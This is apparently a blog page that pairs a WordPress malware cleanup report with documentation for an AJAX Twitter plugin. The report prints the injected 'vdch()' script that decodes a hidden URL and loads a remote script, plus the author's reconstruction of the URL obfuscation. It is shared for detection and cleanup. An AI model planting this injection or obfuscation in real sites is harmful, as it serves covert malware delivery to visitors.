Searching for the hack itself or the redirect I couldn’t find anything useful (except for an entry in the Google support forum).

Every JavaScript file in wp-content/plugins and wp-content/themes was infected with a function added to the bottom of the script: “function vdch()”. Make sure your blogs are clean.

Update: As I just read in this forum, on stackoverflow and on wordpress, they seem to compromise php and html files too. I guess in my case they couldn’t by exploiting the WordPress vulnerability because its built-in editor only allows you to edit plugins and themes.

This is the script they’ve been using on the setup I had to clean up. It fails in Firefox but seems to run fine in Chrome.

function vdch() {
    if(document.all.length > 3) {
        var t = new Array(...);
        var dchid = "";
        for (j=0;j<t.length;j++) {
            var c_rgb = t[j];
            for (i=1;i<7;i++) {
                var c_clr = c_rgb.substr(i++,2);
                if (c_clr!="00") dchid += String.fromCharCode(
                        parseInt(c_clr,16)^i);
            }
        }
        var dch = document.createElement("script");
        dch.id = "dchid";
        dch.src = dchid;
        document.all[3].appendChild(dch);
    } else {
        setTimeout("vdch()",500);
    }
} setTimeout("vdch()",500);

Update 2: I was curious about how the string (=URL) encryption works in the script above. Here’s the function I came up with. Pretty nice idea (never had a look at JavaScript obfuscation before).

var url = "http://your.url/";
var enc = new Array();
var rgb = "#";

for (i = 0, j = 2; i < url.length; i++, j += 2) {
    rgb += (url.charCodeAt(i)^j).toString(16);
    if (j == 6) {
        j = 0;
        enc.push(rgb);
        rgb = "#";
    }
}

Though the plugin works I found two major problems:

• Sometimes Twitter doesn’t provide the timeline at first request.
• Embedding it in your theme significantly slows down loading of the blog.

I came up with a solution to both of them (featuring MooTools or jQuery support) using XMLHttpRequest.

Basically all it does is wait until the page is loaded and then request the tweets. If Twitter decides not to provide the timeline, the request is sent again until a configurable number of retries is reached.

There are two ways to use this plugin:

1. Configure it manually (see how-to below)
2. Use it as a widget (version two and above)

If you use it as widget, simply use the management functionality for widgets provided by WordPress. Otherwise (if your theme doesn’t support widgets for example) you can set also it up manually as I did on this blog (because I use MooTools here).

Plugin setup:

Provide a PHP-script (e.g. twitter.php in your theme folder), which can be loaded by the request:

if (!defined('DB_NAME')) {
	require_once("../../../wp-config.php");
}

echo AJAXedTwitter::messages(array(
	'username' => 'username'
));

You can see I modified the original plugin to use an array instead of parameters (I hate functions that require more than 3 parameters).

Parameters for AJAXedTwitter::messages are:

JavaScript-Setup:

You have to tell the plugin which JS file to include (this should be done in wp_config.php):

define('AJAXED_TWITTER_FRAMEWORK', 'mootools');

In this example the plugin will enqueue the twitter class for MooTools. If you don’t want to use it, you can also define AJAXED_TWITTER_FRAMEWORK to false and include our own scripts. The default value is jquery. It’s also possible to include both scripts (using ‘both’).

Please note that using the provided Twitter-class you have to add MooTools to your theme’s header before wp_head();.

Then, below wp_head(); add a script tag where you configure the twitter part:

var twitter = new Twitter('myTweets', {
  url: '<?php bloginfo('stylesheet_directory'); ?>/twitter.php',
  retries: 2,
  animate: true
});

The above JS-code will automatically replace the element “myTweets” with your public timeline (or the error message if it runs out of retries) by loading the file twitter.php in your theme’s folder (see the PHP code?).

Possible options to the constructor are:

CSS classes:

Download:

AJAXed Twitter for WordPress 0.5